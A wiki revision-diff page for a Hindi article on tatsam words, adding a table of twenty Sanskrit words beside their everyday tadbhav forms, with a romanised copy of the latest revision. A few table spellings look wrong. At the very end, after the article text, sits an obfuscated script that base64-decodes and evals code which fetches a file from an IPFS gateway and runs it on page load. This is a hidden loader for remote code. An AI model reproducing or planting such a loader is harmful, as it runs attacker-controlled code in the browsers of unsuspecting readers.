Difference between revisions of "तत्सम"
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
Line 4: | Line 4: | ||
*समय और परिस्थितियों के साथ-साथ तत्सम शब्दों में कुछ परिवर्तन भी होते रहे हैं, इससे कुछ शब्द बने हैं, जिन्हें 'तद्भव' (तत् + भव = उससे उत्पन्न) कहते हैं। भारतीय भाषाओं में 'तत्सम' और 'तद्भव' शब्दों का बाहुल्य है। इसके अतिरिक्त इन भाषाओं के कुछ शब्द 'देशज' और अन्य कुछ 'विदेशी' हैं। | *समय और परिस्थितियों के साथ-साथ तत्सम शब्दों में कुछ परिवर्तन भी होते रहे हैं, इससे कुछ शब्द बने हैं, जिन्हें 'तद्भव' (तत् + भव = उससे उत्पन्न) कहते हैं। भारतीय भाषाओं में 'तत्सम' और 'तद्भव' शब्दों का बाहुल्य है। इसके अतिरिक्त इन भाषाओं के कुछ शब्द 'देशज' और अन्य कुछ 'विदेशी' हैं। | ||
+ | {| width="60%" class="bharattable-pink" | ||
+ | |+हिन्दी में प्रयुक्त कुछ तत्सम शब्दों के तद्भव रूप | ||
+ | |- | ||
+ | ! क्रम संख्या | ||
+ | ! तत्सम | ||
+ | ! तद्भव | ||
+ | ! क्रम संख्या | ||
+ | ! तत्सम | ||
+ | ! तद्भव | ||
+ | |- | ||
+ | |1. | ||
+ | |अग्नि | ||
+ | |आग | ||
+ | |2. | ||
+ | |रात्रि | ||
+ | |रत | ||
+ | |- | ||
+ | |3. | ||
+ | |पद | ||
+ | |पैर | ||
+ | |4. | ||
+ | |तैल | ||
+ | |तेल | ||
+ | |- | ||
+ | |5. | ||
+ | |चन्द्र | ||
+ | |चाँद | ||
+ | |6. | ||
+ | |सूर्य | ||
+ | |सूरज | ||
+ | |- | ||
+ | |7. | ||
+ | |कपाट | ||
+ | |किवाड़ | ||
+ | |8. | ||
+ | |सुभाग | ||
+ | |सुहाग | ||
+ | |- | ||
+ | |9. | ||
+ | |पत्र | ||
+ | |पत्ता | ||
+ | |10. | ||
+ | |बालुका | ||
+ | |बालू | ||
+ | |- | ||
+ | |11. | ||
+ | |स्तन | ||
+ | |थन | ||
+ | |12. | ||
+ | |नव्य | ||
+ | |नया | ||
+ | |- | ||
+ | |13. | ||
+ | |धर्म | ||
+ | |धरम | ||
+ | |14. | ||
+ | |मृत्यु | ||
+ | |मोत | ||
+ | |- | ||
+ | |15. | ||
+ | |एकादश | ||
+ | |ग्याराह | ||
+ | |16. | ||
+ | |वानर | ||
+ | |बन्दर | ||
+ | |- | ||
+ | |17. | ||
+ | |सूची | ||
+ | |सुई | ||
+ | |18. | ||
+ | |स्वर्ण | ||
+ | |सोना | ||
+ | |- | ||
+ | |19. | ||
+ | |युवा | ||
+ | |जवान | ||
+ | |20. | ||
+ | |आम्र | ||
+ | |आम | ||
+ | |} | ||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक=|पूर्णता=|शोध=}} |
Latest revision as of 14:11, 8 December 2013
hindi mean jo shabd sanskrit se jyoan ke tyoan grahan kar lie ge haian tatha jinamean koee dhvani parivartan nahian hua hai, ve tatsam shabd kahalate haian. jaise- agni, vayu, mata, pita, prakash, patr, soory adi.
- 'hindi', 'baangla', 'marathi', 'gujarati', 'panjabi', 'telugoo' 'kann d', 'malayalam', 'sianhal' adi bhashaoan mean bahut se shabd sanskrit se sidhe hi grahan kar liye ge haian, kyoanki in sabhi bhashaoan ka janm sanskrit se hi hua hai.
- samay aur paristhitiyoan ke sath-sath tatsam shabdoan mean kuchh parivartan bhi hote rahe haian, isase kuchh shabd bane haian, jinhean 'tadbhav' (tath + bhav = usase utpann) kahate haian. bharatiy bhashaoan mean 'tatsam' aur 'tadbhav' shabdoan ka bahuly hai. isake atirikt in bhashaoan ke kuchh shabd 'deshaj' aur any kuchh 'videshi' haian.
kram sankhya | tatsam | tadbhav | kram sankhya | tatsam | tadbhav |
---|---|---|---|---|---|
1. | agni | ag | 2. | ratri | rat |
3. | pad | pair | 4. | tail | tel |
5. | chandr | chaand | 6. | soory | sooraj |
7. | kapat | kiva d | 8. | subhag | suhag |
9. | patr | patta | 10. | baluka | baloo |
11. | stan | than | 12. | navy | naya |
13. | dharm | dharam | 14. | mrityu | mot |
15. | ekadash | gyarah | 16. | vanar | bandar |
17. | soochi | suee | 18. | svarn | sona |
19. | yuva | javan | 20. | amr | am |
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>